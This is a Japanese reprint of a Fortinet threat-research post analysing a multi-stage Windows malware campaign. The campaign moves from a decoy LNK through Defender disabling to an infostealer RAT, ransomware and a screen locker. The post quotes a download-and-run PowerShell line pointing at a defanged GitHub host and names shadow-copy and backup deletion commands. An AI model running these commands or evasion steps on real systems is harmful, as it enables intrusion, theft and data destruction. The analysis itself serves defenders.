Microsoft Defenderの無効化に使われる多段階型マルウェア攻撃

文●フォーティネットジャパン 編集●ASCII

提供: フォーティネットジャパン

  • この記事をはてなブックマークに追加
  • 本文印刷

本記事はフォーティネットジャパンが提供する「FORTINETブログ」に掲載された「多段階型Windowsマルウェアキャンペーンの真相」を再編集したものです。

米国時間2026年1月20日に掲載されたフォーティネットブログの抄訳です。

影響を受けるプラットフォーム:Microsoft Windows
影響を受けるユーザー    :Microsoft Windowsユーザー
影響            :広範囲に及ぶファイル暗号化、窃取データを利用した後続の攻撃
深刻度           :高

背景

FortiGuard Labsは先日、ロシア国内のユーザーを主な標的とする多段階型のマルウェア攻撃を発見しました。この攻撃はソーシャルエンジニアリングから始まり、定型的で無害に見えるよう細工された、ビジネス関連のおとり文書が配信されます。これらの文書に含まれるスクリプトが被害者を視覚的にだまし、偽の業務やステータスメッセージに誘導する一方で、悪意のあるアクティビティがバックグラウンドで密かに実行されます。

攻撃チェーンが進行するにつれて、システム全体の侵害へと発展していきます。これにはセキュリティ制御の回避、監視活動、システム機能の制限、Amnesia RATの展開、ランサムウェアの配信などが含まれます。この攻撃はDefendnotを悪用する点が特徴的です。これは元々、Windowsセキュリティセンターの信頼モデルの脆弱性を明らかにするために開発された研究用ツールです。このDefendnotが、攻撃ではMicrosoft Defenderの無効化という別の目的に使用されています。

攻撃者は、ペイロードのホスティングを複数のパブリッククラウドサービスに分散させることで、レジリエンスをさらに強化しています。GitHubは主にスクリプトの配信、Dropboxはバイナリペイロードのホスティングに使用されます。こうしたモジュール式のホスティングアプローチによって、攻撃者はコンポーネントを個別に更新または変更できます。また、防御側の対策が複雑化すると共に、正当な企業ネットワークのアクティビティに悪意あるトラフィックを紛れ込ませることも可能になります。本ブログでは攻撃チェーンの各段階と、侵入を維持 / 拡大するための手法を解説します。

図1:攻撃チェーン

初期感染経路とソーシャルエンジニアリング

感染チェーンは、被害者に圧縮アーカイブを配信することから始まります。このアーカイブには、正規の業務用資料や会計書類に似せた多数のおとり文書が含まれています。例えば、ロシア語のファイル名が付けられたテキストファイルとスプレッドシートは、日常的な会計および報告処理に言及することで、通常業務に見せかける効果を高めています。

図2:ソーシャルエンジニアリングのおとりに使われたアーカイブのコンテンツ

アーカイブ内で最初の不正ファイルは、次のLNKショートカットです。

 Задание_для_бухгалтера_02отдела.txt.lnk
 (Assignment_for_accountant_02department.txt.lnk).

このファイル名は、会計ワークフローに関連する標準的なテキスト文書に見えるよう工夫されており、ユーザーがこれに対処する可能性を高めています。

LNKファイルは実行されると、次のパラメータを使用して、PowerShellを最初の実行ベクトルとして起動します。

 相対パス:
 ..\..\..\..\..\..\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

 Working Directory:
 C:\WINDOWS\System32\WindowsPowerShell\v1.0

 Arguments:
 -ExecutionPolicy Bypass -Command "irm  'hxxps://github[.]com/Mafin111/MafinREP111/raw/refs/heads/main/ps1/kira[.]ps1' | iex"

この段階ではエクスプロイト、すなわち脆弱性の悪用は行われません。むしろ、攻撃者はユーザーが実行する処理に完全に依存しています。文書の共有やアーカイブの取り出しが日常的に行われる企業環境では、これは依然として非常に効果的な手法です。ExecutionPolicy Bypassを使用することで、ローカルのPowerShellポリシーが適用されない状態でスクリプトを実行できます。

ダウンロードされたPowerShellスクリプト (kira.ps1) 、起動すると第1段階のローダーとして機能します。ローダーの役割は、最初の足場を築き、システム環境の下準備をし、実行プロセスを攻撃チェーンの次の段階に進めることです。

第1段階のローダー:PowerShellスクリプトの実行

The kira.ps1 スクリプトは、最終ペイロードの配信は行いません。代わりに、攻撃の初期段階において悪意ある実行プロセスを隠蔽し、ユーザーの疑念を和らげることを目的とした、一連の準備作業を行います。

まず、プログラムでPowerShellコンソールウィンドウを非表示にし、実行プロセスを視認できないようにします。これにより、スクリプトが実行されていることを即座に示す表示はすべて取り除かれます。次に、ユーザーのローカルアプリケーションデータディレクトリ内におとりのテキスト文書を作成します。この文書には、会計および報告処理に関する詳細な指示が含まれています。それらはロシア語で書かれ、最初のアーカイブで使用されたファイル名や件名と密接に関連しています。

図3:ユーザーを誘導するおとりテキストファイルの作成

おとり文書は、ディスクに書き込まれると自動的に開きます。これによって正規の業務に見せかける効果が一層高まり、ユーザーは作業を続けることになります。その間、悪意のあるアクティビティがバックグラウンドで継続されます。ユーザーの誘導が完了すると、スクリプトはTelegram Bot APIを使用して実行プロセスの確認を攻撃者に送信します。そのメッセージにはユーザーのコンテキスト情報が含まれているため、攻撃者は実稼働システム上で初期段階の実行に成功したことを確認できます。

kira.ps1 は意図的に444秒間待機した後、難読化されたVBScriptペイロードをGitHubリポジトリから取得します。このスクリプトはWindows Script Hostを介して非表示のウィンドウで実行されるため、視認可能な痕跡は生成されません。

図4:Telegramの通知と2番目のスクリプトの展開

外部でホストされるスクリプトにすべての主要機能をオフロードすることで、kira.ps1 は軽量かつモジュール式のスクリプトとして動作し続けます。このような設計によって、攻撃者は最初のローダーを修正せずに、ダウンストリームのペイロードを更新または変更できる上、第1段階のスクリプトの静的フットプリントも縮小できます。

第2段階のオーケストレーター:難読化されたVBScript

第2段階のペイロードである SCRRC4ryuk.vbe, は、Script Encoder Plusを使用して作成され、完全にエンコードされた形式でディスクに書き込まれます。保存された状態のこのファイルは、判読可能なVBScriptとはまったく異なります。Script Encoder Plusの出力に特有の非標準文字や制御マーカーが密集したシーケンスで始まり、埋め込まれたエンコーダーバナーとシード値がその後に続きます。

図5:Script Encoder PlusでエンコードされたVBScriptのペイロード

外側の難読化レイヤーをデコードして解析したところ、 SCRRC4ryuk.vbe は攻撃チェーンの中心的オーケストレーターとして機能していることが判明しました。スクリプトは、単一の悪意あるアクションを直接実行するのではなく、次の実行段階をすべてメモリ内で動的に再構成します。

主要ペイロードは複数の文字列変数に埋め込まれ、通常はPart1やPart2といったラベルが付けられます。これらのフラグメント(断片)が実行時に結合され、独自のデコードルーチンを介して渡されます。スクリプトは多層型のデコードプロセスを採用しており、まずBase64デコードを適用した後、生成されたバイトストリームをRC4で復号します。復号されたバイトデータはUnicodeテキストに変換され、ExecuteGlobal関数を使用して動的に実行されます。

図6:デコードされたペイロードの実行時の再構成と実行

この多層型設計によって、最終的な不正ロジックが平文でディスクに書き込まれることは決してなく、実行中のわずかな時間にのみ出現します。攻撃者は、外側のレイヤーには一般的なスクリプトエンコードを使用し、ペイロードの再構成には独自の暗号化ルーチンを用いることで、静的検知やシグネチャに基づいた解析の可能性を大きく低下させています。

以下のセクションでは、VBScriptの内部ロジックと、その後に展開される攻撃段階について詳しく解説します。

最終段階:コアオブジェクトの初期化と実行

最終段階のスクリプトは、まず、一連の主要なCOMオブジェクト(WScript.ShellScripting.FileSystemObjectなど)とWMIプロバイダーを明示的に初期化します。これらのオブジェクトは、残りの実行フェーズ全体を通して再利用され、プロセスの作成、ファイル操作、システム調査の基盤を形成します。

スクリプトは、破壊的あるいは永続的アクションを実行する前に、自身が管理者権限で動作していることを確認します。そのために、 C:\Windows\System32\ ディレクトリにtest.batというバッチファイルを作成します。このディレクトリはオペレーティングシステムによって保護されているため、書き込み処理が成功すれば、そのプロセスが昇格された権限で実行されていることを意味します。

ファイルの作成に失敗した場合、スクリプトは権限が不十分であると判断し、永続的なUAC(ユーザーアカウント制御)昇格ループを開始します。ループの実行中、スクリプトは動詞にrunasを指定したShellExecuteを介して自身を繰り返し再起動し、オペレーティングシステムにUACダイアログを表示するよう要求します。

昇格権限が付与されたかどうかを確認するため、スクリプトは処理と処理の間に3,000ミリ秒間停止し、WMIを介して有効なプロセスを照会します。具体的には、cmd.exeの有無を確認します。コマンドシェルプロセスがあれば、権限の昇格に成功したと見なされます。スクリプトが検知された場合は昇格ループを終了し、残りのコマンドシェルプロセスをすべて停止して、視認可能な痕跡をできる限り減らします。

システムディレクトリへの最初のtest.batの書き込みがエラーなく完了すれば、スクリプトは管理者権限を保持していると判断します。そして、このバッチファイルに確認メッセージを書き込み、ファイルを直接実行します。昇格ロジックはすべて省略されます。

図7:管理者権限の確認とUAC昇格ロジック

実行環境の準備が完全に整うと、スクリプトは最終的な活動フェーズに進みます。これ以降の実行プロセスは4つの主要な目的に基づいて構成されており、それぞれの目的は複数の補完的な手法とペイロードを通じて実装されています。以下のセクションではこれらの目的について解説します。

フェーズ1:防御の無効化および回避

フェーズ1は、攻撃力の大きいペイロードを展開する前に、セキュリティ制御の可視性を低下させ、エンドポイント保護のメカニズムを無効化することに重点を置いています。

1. 偽の更新プログラムのダウンロードとおとりの実行

スクリプトはおとりの実行プロセスを開始します。これは、被害者の注意を引き付け、正規のシステムアクティビティを偽装することを目的としています。まず、WMIを使用して動作中のプロセスを照会し、install.exe というプロセスがすでに有効かどうかを確認します。これにより、おとり用のコンポーネントを重複して実行するのを防ぎます。

既存のインスタンスが検知されなかった場合は、公開されたGitHubリポジトリから実行ファイルをダウンロードしhxxps://github[.]com/Mafin111/MafinREP111/raw/refs/heads/main/install[.]exe
and saves it to %PROGRAMDATA%\install.exe. という名前で保存します。

ダウンロードされたファイルはNETベースの実行ファイルで、視覚的なおとりのみを目的としています。同ファイルは、起動されると「Microsoft® Windows Based Script Host」というWindowsフォームのインタフェースを表示します。これは正規のWindowsユーティリティを故意に真似たものです。信憑性を高めるために、アプリケーションは固定サイズのダイアログを使用して自身を画面中央に配置し、正当な wscript.exe バイナリから取得したアイコンを表示します。

機能的なロジックはこのコンポーネントでは実行されません。おとり用ウィンドウが前面に表示されている間、すべての悪意あるアクティビティがバックグラウンドで密かに継続されます。

図8:視覚的なおとりに使われる偽の更新実行ファイル

2. 検知の回避

おとりの展開後、スクリプトは検知回避フェーズへと移行し、Microsoft Defenderを体系的に無効化してから、高リスクなペイロードを展開します。

まず、PowerShellを介して実行時の設定を変更します。スクリプトはMicrosoft Defenderのリアルタイム監視を明示的に無効化し、ファイルやプロセスに対するオンアクセススキャンを回避します。
さらに検知範囲を縮小するため、Defender固有の設定インタフェースを使用して、ファイルシステムに複数の除外対象を追加します。除外対象となるのはProgramDataProgram FilesDesktopDownloads、システムの一時ディレクトなど、ペイロードの展開と実行で一般的に使用されるディレクトリです。

スクリプトはこれらのディレクトリを除外することで、この後に書き込まれ実行されるファイルがDefenderのスキャン範囲から除外されるよう仕向けています。

図9:Windows Defenderのスキャン設定の変更

スクリプトは次に、一連のPowerShellコマンドを使用して、Defenderのその他の保護コンポーネントを個別に無効化します。各コマンドは振る舞い監視、block-at-first-seen(事前ブロック)、IOAVスキャン、アーカイブスキャン、スクリプトスキャン、リムーバブルメディアスキャン、Eメールスキャン、侵入防止、定期的キャッチアップスキャンといった特定の機能を対象としています。部分的な障害によってプロセスが中断されるのを防ぐため、これらのコマンドは短い時間間隔で順次実行されます。

図10:Defenderの保護機能を順次無効化

保護機能を長期にわたって妨害するために、スクリプトは複数のポリシー制御のレジストリ値をHKLM\SOFTWARE\Policies\Microsoft\Windows Defender. に書き込みます。これらのエントリは、リアルタイム保護、振る舞い分析、オンアクセススキャン、アーカイブインスペクション、scan-on-enable(有効化と同時にスキャン)など、主要なアンチウイルスおよびアンチスパイ機能を無効化します。Defenderのレポートとユーザーエクスペリエンスのポリシーも変更され、通知プロンプトが表示されなくなります。したがって、ユーザーは保護機能が無効になっていることを示す視覚的な通知を受け取れなくなります。

図11:レジストリベースで適用されるDefenderの機能制限

3. Defendnotの展開によるセキュリティ制御の回避

続いて、スクリプトはDefendnotを展開し、セキュリティ制御を回避するプロセスに進みます。このツールは、Microsoft Defenderのコンポーネントを直接終了するのではなく、Windowsセキュリティセンターの信頼モデルを悪用してDefenderを無効化します。

スクリプトは、GitHubからDefendnot DLLとローダーをダウンロードし、
%PROGRAMDATA%\defendnot.dll and %PROGRAMDATA%\defendnot-loader.exe.にそれぞれ書き込みます。

ローダーはデフォルトにより、Microsoftが署名した信頼できるシステムプロセス「Taskmgr.exe」にDefendnot DLLを注入します。DLLはこの信頼できる実行コンテキストを利用して、偽のアンチウイルス製品をWindowsセキュリティセンターのインタフェースに登録します。Microsoft Defenderは、新たに登録されたアンチウイルス製品との競合を避けるため、自動的に自身を無効化します。これはWindowsの標準的な動作です。

この手法は、Windowsセキュリティセンターの設計に組み込まれた信頼の前提条件を悪用しています。その前提条件とは、承認済みのインタフェースを介して登録されたアンチウイルス製品は信頼できると見なす、というものです。

図12:Defendnotコンポーネントのダウンロードと展開

フェーズ2:環境の偵察および監視

防御を無効化したら、攻撃は環境の偵察と有効なユーザーの監視に移ります。

1. システム情報の収集とTelegramによる流出

権限の昇格と環境の準備が完了すると、スクリプトはシステム情報を収集するフェーズを開始します。このフェーズにおける明確な目的は、ホスト、ハードウェア、ユーザー、ネットワーク、およびセキュリティ関連の詳細情報を収集し、Telegram Bot API経由で攻撃者に送信することです。

収集されるデータには、システムID、ユーザーコンテキスト、ドメインメンバー、その他の環境属性などが含まれ、侵害されたホストのプロファイリングや後続の攻撃に利用されます。収集されたデータは、攻撃者が管理するTelegram Botのエンドポイントに直接送信され、侵害が成功したことをほぼリアルタイムで通知し、被害者の環境がどのような状態にあるかを報告します。

図13:収集したシステム情報をTelegramで送信

2. スクリーンショットを利用したユーザーアクティビティの監視

検知回避の措置が完了すると、攻撃者はユーザーアクティビティの活発かつ視覚的な監視を開始し、所定の時間継続します。スクリプトは、同じGitHubリポジトリから追加のペイロードを取得しhxxps://github[.]com/Mafin111/MafinREP111/raw/refs/heads/main/TelegramWorker[.]scr, and writes it to %PROGRAMDATA%\TelegramWorker.scr.に書き込みます。

拡張子.scrが使用されているため、Windowsはこのファイルをスクリーンセーバーの実行ファイルと見なし、実行時のユーザーの疑念も緩和されます。拡張子は.scrですが、TelegramWorker.scrは.NETベースの実行ファイルで、監視用のモジュールとして機能します。

このモジュールは実行されると、自身のプロセス名を取得し、同じ名前を持つ別のインスタンスが動作していないかシステムに問い合わせます。複数のインスタンスが検知された場合、実行プロセスは直ちに終了します。このようにインスタンスを1つに限定することで、余分な実行プロセスや、取得するスクリーンショットの重複を回避します。

次に、モジュールは30回を上限とする取得ループを開始します。各反復処理において、モジュールは事前定義されたディレクトリと連番のファイル名( 1.png, 2.png など)を使用してローカルファイルパスを作成します。現在のスクリーンコンテンツが取得され、作成されたパスにあるディスクに書き込まれます。そして、各画像がTelegram Bot API経由で攻撃者に送信され、ユーザーアクティビティをほぼリアルタイムで監視できるようになります。

取得処理の間隔は30秒に固定されているため、監視時間は合計で約15分になります。

図14:スクリーンショットの取得とコンポーネントの流出

フェーズ3:システムロックダウンとレスポンス妨害

修正、調査、復旧を妨害するため、マルウェアは広範囲なシステムロックダウンフェーズに移り、被害者の管理権限やリカバリオプションを使用不能にします。

1. システムツールの制限とリカバリの阻止

スクリプトは、サービスを停止させたりバイナリを書き換えたりするのではなく、レジストリベースのポリシー制御を変更することで、Windowsのさまざまな管理ツールや診断ツールを無効化します。この手法はWindows固有のポリシー適用メカニズムを悪用したもので、変更は直ちにシステムに反映され、セッションをまたいで持続します。

明示的に無効化されるユーザー向けツールは次の通りです。

レジストリエディタ:レジストリベースの永続性やポリシー変更が調査または取り消しされるのを阻止します。
タスクマネージャー:プロセスの可視化や終了を妨害します。
実行ダイアログ:コマンドの実行を制限します。
フォルダオプション:非表示のファイルやファイル拡張子へのアクセスを制止します。
システム設定、コントロールパネル:主要な設定インタフェースへのアクセスを遮断します。
システム構成ユーティリティ(msconfigなど):スタートアップの動作、サービス、起動オプションの調査を妨げます。
システムプロパティ、コンテキストメニュー:システムレベルのダイアログや、右クリックの管理用ショートカットの利用を制限します。
レガシーな実行経路:診断またはリカバリオプションの代わりとなる機能を削減します。

すべてのポリシー値は
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\に書き込まれます。

現在のユーザーハイブを対象とすることで、システム全体でポリシーを展開しなくても制限が直ちに適用されます。レジストリ値の書き込み後、スクリプトはgpupdate /forceを実行して強制的にポリシーを適用します。これにより、次の更新サイクルを待たずに変更が有効になります。

管理アクセスが実質的に無効化されたら、スクリプトは次に、システムリカバリのメカニズムを無効化します。まず、reagentc /disableを使用してWindows回復環境を無効化し、スタートアップ修復およびリセットオプションをアクセス不能にします。続いて、wbadmin delete catalog -quietを使用してWindowsバックアップカタログを削除し、既存のバックアップリファレンスを使用不可にします。最後にvssadmin delete shadows /all /quietを使用して、ボリュームシャドウコピーサービスのスナップショットをすべて削除します。これにより、復元ポイントとファイルバージョン履歴は完全に消去されます。

すべてのリカバリ無効化コマンドは、cmd.exeを使って密かに実行され、ユーザーへの通知を回避するために出力は抑止されます。

図15:レジストリを使用したシステム管理ツールの制限

2. ファイル関連付けのハイジャックと実行制御

攻撃チェーンの最終段階では、マルウェアはファイル関連付けのハイジャックメカニズムを広範囲に実行し、被害者がアプリケーションを起動したり一般的なファイルタイプを開いたりできないようにします。ファイルの削除やプロセスの終了を行うのではなく、レジストリでWindowsのファイル関連付けの動作を悪用し、実行を妨害します。

スクリプトは、実行ファイル、文書、アーカイブ、画像、メディア、スクリプト、インストーラー、設定形式など、ファイル拡張子の包括的なリストを定義します。そして、各拡張子について、HKCRレジストリハイブでデフォルトのopenコマンドを上書きします。これらのファイルを開くと、関連付けられたアプリケーションが呼び出される代わりにコマンドシェルが起動し、被害者に対してTelegram経由で攻撃者と連絡をとるよう指示するメッセージが表示されます。

この手法は、関係するファイルを変更または破壊することなく、アプリケーションの実行を無効化します。ユーザーから見るとファイルに問題はないように思えますが、その機能は使用できず、システムが完全に侵害されたという認識が強まります。

図16:レジストリを使用したアプリケーションと文書の実行妨害

スクリプトは実行を広範囲に制限する一方、悪意あるスクリプト形式で役に立つ機能は明示的に温存しています。.vbs(VBScript)および.scr(スクリーンセーバー)ファイルの関連付けは、確実に実行されるよう意図的に設定されます。レジストリマッピングでは、.vbsファイルとWScript.exeまたはCScript.exeを明示的にバインドし、テキストエディタでファイルが偶発的に開く事態や、デフォルトのセキュリティ関連付けによる干渉を防止します。

機能的に.exeと同等の拡張子.scrは、実行ファイルとして動作するように実行コマンド「%1 /S」を使用して設定されます。すべての関連付けの変更を直ちに適用するために、スクリプトはregsvr32 /s /i shell32.dllを実行します。これにより、再起動しなくてもWindowsシェルの設定が強制的に更新されます。

これ以降に展開されるすべてのペイロードはアクセスと同時に確実に実行されますが、正規のユーザーワークロードはブロックされたままです。

図17:実行を制御するためのファイル関連付けの改ざん

フェーズ4:最終ペイロードの影響

セキュリティ制御が無効化され、監視体制が整い、復旧メカニズムが削除されたら、マルウェアは最終ペイロードを展開します。このフェーズでは、持続的なリモートアクセス、大規模なデータ窃取、ランサムウェアによる暗号化、そして完全なシステムロックアウトを組み合わせて、事業運営への影響と威圧的効果を最大化します。

1. Amnesia RATの展開

VBScriptは、長期的な制御とデータ流出の主要コンポーネントとして、リモートアクセス型トロイの木馬(RAT)を展開します。このペイロードはGitHubではなくDropboxでホストされており、「svchost.scr」という偽のファイル名でダウンロードされます。このファイルは、%PROGRAMDATA% とユーザーのStartupフォルダにコピーされ、 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 配下のレジストリエントリを使用して永続化されます。

図18:RATペイロードの展開

静的解析の結果、svchost.scrは64ビットのPE実行ファイルであり、Microsoft Visual C++でコンパイルされ、PyInstallerでパッケージ化されていることが分かりました。アンパックすると、複数の潜在的エントリポイントが判明しました。amnesiarat1.pycという名前のコンパイル済みPythonモジュールが含まれていることから、中核機能は難読化されたPythonベースのAmnesia RATとして実装されているようです。

図19:svchost.scrから抽出した文字列の一部

Amnesia RATは複数のカテゴリにまたがる広範なデータ窃取を目的とし、リアルタイムの監視とシステム制御が組み込まれています。マルウェアの機能は次の通りです。

ブラウザの認証情報およびセッションデータ:Amnesia RATはChrome、Edge、Chromium、Brave、Opera、Opera GX、Vivaldi、YandexなどChromiumベースのブラウザを標的にしています。保存されたパスワード、Cookie、セッションのトークン、閲覧履歴、ダウンロード記録、自動入力データなどを抽出します。Local Stateファイルからブラウザのマスターキーを取得し、Windows DPAPIを呼び出して平文のシークレットを復元することで、暗号化された認証情報を復号します。

Telegram Desktopセッションのハイジャック:このマルウェアは認証キー、セッションファイル、設定データ、アカウントのメタデータなど、ローカルセッションのアーティファクトを tdata ディレクトリから窃取しており、明らかにTelegram Desktopを標的としています。これらのアーティファクトがあれば、認証情報や二要素認証がなくてもアカウントを完全に乗っ取ることができます。

シードフレーズの探索とクリップボードの監視:アクセス可能なドライブを繰り返しスキャンし、BIP-39に含まれる2,048個の単語のいずれかが含まれたテキストファイルを探します。それと並行して、クリップボードのコンテンツをリアルタイムで監視し、12、18、または24語からなるシードフレーズ(リカバリフレーズとも呼ばれる)を傍受します。

DiscordおよびSteamデータの窃取:スタンドアロンのアプリケーションとブラウザの両方に保存されたDiscordの認証トークンを検索し .log および .ldb ファイルに適用された正規表現のパターンを使用してLevelDBファイルとローカルストレージファイルを解析します。さらに、Steamの設定ファイルと ssfn 認証ファイルも標的にします。

暗号通貨ウォレットと金融資産:ハードコードされたチェック機能は、MetaMaskに関連する特定のブラウザ拡張機能のほか、Zcash、Armory、Bytecoin、Jaxx、Exodus、Ethereum、Electrum、Atomic Wallet、Guarda、Coinomiなどのデスクトップウォレットを標的にしています。

システムとハードウェアのインテリジェンス:オペレーティングシステムのバージョン、ユーザー名、ドメイン、CPUモデル、RAMの容量、GPUモデル、BIOSのバージョン、マザーボードのID、ディスク容量、ローカルおよび外部のIPアドレスなど、ホストの詳細なプロファイリングデータを収集します。これらのデータは被害者のフィンガープリンティングや優先順位付けに利用されます。

画面、音声、操作の監視:スクリーンショットの取得、Webカメラ画像の取得、マイク音声の録音、クリップボードの監視、有効なウィンドウタイトルの列挙といった監視機能がサポートされています。収集されたアーティファクトはC:\ProgramDataに置かれた後、圧縮、流出されます。

プロセスとシステムの制御:プロセスの列挙と終了、シェルコマンドの実行、任意のペイロードの展開、別のマルウェアの実行を含む、完全なリモート操作を実行できます。

永続性:レジストリの自動実行エントリによって永続性が強化されます。多くの場合、 chromeupdate など一見無害な名前を使用して、一般的なインスペクション回避します。

流出チャネル:データは主として、Telegram Bot APIを使用したHTTPS経由で流出されます。データセットが大規模な場合は、GoFileなどサードパーティのファイルホスティングサービスにアップロードされることもあり、ダウンロードリンクはTelegram経由で攻撃者に通知されます。こうした設計により、攻撃者がインフラストラクチャを管理する必要はなくなります。

Amnesia RATは認証情報の窃取、セッションハイジャック、金融資産を狙った攻撃、リアルタイムの監視を組み合わせることで、アカウントの完全な乗っ取り、IDの悪用、侵害後の攻撃を可能にしています。

図20:公開されているAmnesia RATの参照サイト

2. ランサムウェアの展開

RATを展開したら、スクリプトはGitHubのリモートリポジトリから追加のペイロードWmiPrvSE.scrをダウンロードして実行します。実行プロセスは管理者権限チェックによって制御され、PowerShellを介して非表示のウィンドウで起動されます。永続性はペイロードをStartupフォルダにコピーすることで強化されます。

図21:ランサムウェアペイロードの展開

WmiPrvSE.scrは、ランサムウェアによる攻撃フェーズで使用されるペイロードで、Hakuna Matataランサムウェアファミリーから派生しています。実行されると、文書、アーカイブ、画像、メディア、ソースコード、アプリケーションなど各資産の数百に及ぶファイル拡張子を対象に、システム全体で大規模な暗号化を実行します。

図22:Hakuna Matataランサムウェアの実行

暗号化されたファイルの名前は、@NeverMind12Fという独自の拡張子を使用して変更されます。このランサムウェアは、影響を受けたディレクトリにЧИТАЙМЕНЯ.txtというランサムノート(身代金の宣告)をドロップし、デスクトップの壁紙をその場で生成された身代金要求画像に置き換えます。効果をさらに高めるために、データベース、Officeソフトウェア、Eメールクライアント、仮想化プラットフォーム、およびセキュリティツールに関連するプロセスを停止させてから、残ったファイルを再スキャンして暗号化します。

図23:対象を絞ったプロセスの終了と暗号化

ランサムウェアは継続的な実行ループを維持します。その中で、クリップボードのコンテンツを活発に監視して乗っ取り、暗号通貨ウォレットのアドレスを攻撃者の管理下にある値に置き換えます。これらの動作に暗号化、ロックアウトメカニズム、威圧的な表示メッセージが加わることで、最大限の効果、持続的制御、金銭の搾取を目的とした攻撃モデルが構築されます。

図24:Hakuna MatataランサムウェアのClipBanker機能

図25:ランサムウェアの壁紙のペイロード

3. WinLockerの展開

スクリプトはHakuna Matataと並行して、WinLockerコンポーネントを展開します。これは、ユーザー操作を完全に制限することを目的としています。ペイロードはGitHubからダウンロードされ、%PROGRAMDATA%\gedion.scr. という名前で保存されます。これまでの段階と同じく、実行には管理者権限を必要とし、非表示のウィンドウで起動されます。

WinLockerは実行されると、WINLOCKBYAMPBYAMPBYAMPfsdjfというミューテックスを作成し、デスクトップを完全にロックすることで、通常のシステムアクセスを阻止します。被害者に表示されるメッセージはBase64でエンコードされた文字列として埋め込まれており、実行時にデコードされます。これらのメッセージはロシア語で書かれており、被害者に対して2時間以内にTelegramで攻撃者と連絡をとるよう指示します。

こうした簡易な難読化によって静的検知を困難にする一方、ランサムノート、WinLockerのインタフェース、壁紙のオーバーレイ、およびファイル関連付けハイジャックのルーチン全体でメッセージを統一しています。

図26:システムを強制的にロックアウトするWinLockerのインタフェース

結論

今回の攻撃は、現代のマルウェアキャンペーンが、ソフトウェアの脆弱性を悪用しなくてもシステム全体を侵害できることを示しています。むしろ、攻撃者はソーシャルエンジニアリングや、GitHub、Dropboxといった広く信頼されているプラットフォーム、正当なオペレーティングシステムの機能などを利用して一般の企業トラフィックに紛れ込み、ペイロードを準備、配信、実行しています。

また、Windows固有の機能、管理ツール、ポリシー適用メカニズムを体系的に悪用することで、エンドポイントの防御を無効化してから、持続的監視ツールや破壊的なペイロードを展開できます。Defendnotを使用した戦術は、Windowsセキュリティセンターに組み込まれた信頼の前提条件を悪用すれば、一般公開された防御関連の研究を有効な攻撃ワークフローに転用できることを明確に示しています。さらには、Amnesia RATを展開して長期的な偵察、認証情報の窃取、対話型システムの制御を可能にする一方、後続のランサムウェアとWinLockerコンポーネントが強制的にデータアクセスを拒否し、被害者を心理的に追い込んでいきます。

この攻撃は、セキュリティ設定の変則的な変更、想定外の永続性メカニズム、正規のクラウドサービスの悪用などに対する監視が重要であることを浮き彫りにしています。こうした振る舞いに対しては早期発見が不可欠です。防御側の制御が無力化され、復旧メカニズムが削除されてしまうと、修正オプションは著しく制限され、影響が急速に拡大するからです。

フォーティネットのソリューション

本レポートで解説したマルウェアは、FortiGuardアンチウイルスによって以下の名称で検知されブロックされます。
 LNK/Agent.LAZH!tr
 PowerShell/Agent.OQB!tr
 W64/NoDefender.E!tr
 MSIL/Agent.FLS!tr
 W32/LockScreen.BVN!tr
 MSIL/Filecoder.BBY!tr.ransom
 W64/Agent.5E79!tr

FortiGateFortiMailFortiClientFortiEDRは、FortiGuardアンチウイルスサービスをサポートしています。最新のシグネチャを保持するこれらの製品をお使いのお客様は、本レポートに記載されているマルウェアコンポーネントから保護されています。

FortiMailは、最初に送信されるフィッシングメールを「検知したウイルス」として認識します。また、フォーティネットのFortiMail、Webフィルタリング、およびアンチウイルスソリューションに組み込まれているFortiSandboxは、リアルタイムのアンチフィッシング保護を備えており、既知および未知のフィッシング攻撃に対する高度な防御を提供します。FortiPhishフィッシングシミュレーションサービスは、エンドユーザーがなりすまし、ビジネスメール詐欺(BEC)、ランサムウェアなど現実のフィッシング手法に対処できるよう積極的にトレーニングとテストを実施し、ユーザーのレジリエンスを一層強化します。

FortiGuard CDR(コンテンツ無害化)サービスはFortiGateとFortiMailの両方で利用でき、文書の有用性は維持したまま、動作中のコードを削除することで、文書に埋め込まれた悪意あるコンテンツを無害化します。

FortiGuard IPレピュテーションおよびアンチボットネットセキュリティサービスは、フォーティネットグローバルセンサーネットワーク、CERTの協力機関、MITRE、信頼できる業界パートナー、その他のインテリジェンスソースから収集した不正IPに関するインテリジェンスを相関付けることで、本キャンペーンに関連するインフラストラクチャをプロアクティブにブロックします。

基本的なセキュリティ意識の強化を目指している組織は、サイバーセキュリティのFortinet Certified Fundamentals(FCF)トレーニングの受講もご検討ください。

お客様の組織が本件の脅威、またはその他のサイバーセキュリティ攻撃を受けていると思われる場合は、フォーティネットのグローバルFortiGuardインシデントレスポンスチームまでご連絡ください。

IOC(Indicators of Compromise:侵害指標)

URL
hxxps://github[.]com/Mafin111/MafinREP111
hxxps://dl.dropboxusercontent.com/scl/fi/fvugw0l9x7ty665esaul3/svchost.scr?rlkey=urzegysuk9bkrw2b8zmx31457&st=gbhmc2su

LNK
7b8cf0ef390a7d6126c5e7bf835af5c5ce32c70c0d58ca4ddc9c238b2d3f059a

スクリプト
1828614be6d9bdd92f7ee30e12c8aac8eba33a6df2c92995f9bf930c3f1b992b
3aa6ebb73390d304eef8fd897994906c05f3e967f8f6f6a7904c6156cf8819f9
263b5ba921e478215dc9e3a397157badab415fc775cfb4681821b7446c14fb1a
5443232a367a83ac2899b37c066dae3ec2010df292291db24ce3d744133218a6

ペイロード
359fe8df31c903153667fbe93795929ad6172540b3ee7f9eff4bcc1da6d08478
6222775b877b4be4f5407525d52c5889739b96c302e5a204ef369b4a51c6dab2
71069a5d2a80a047ca36ca82e630d353829726d4f03a74c7522b7700c5c2bb59
45e942ba59f3876b263a03ed7e5d5b1b250e84a0a4b4093b3c13b5fca4e12b21
e6ca6bab85ae1eff08a59b46b7905ae0568110da172dec8367f32779094bdd08
7de56603a7b41fca9313231df6105dbb8148d3b0d80dfbc00e71e1d88f871915

MITRE ATT&CKマッピング
本キャンペーンで確認されたMITRE ATT&CK手法は次の通りです。

戦術 手法ID 手法名 本キャンペーンで確認された振る舞い
初期アクセス T1566.001 フィッシング:
添付ファイル
悪意のあるLNKとおとり文書を格納した圧縮アーカイブを、業務用ファイルに偽装して配信する。
実行 T1059.001 コマンドおよびスクリプトインタプリタ:PowerShell LNK経由でPowerShellを実行し、多段階式ペイロードをダウンロードして実行する。
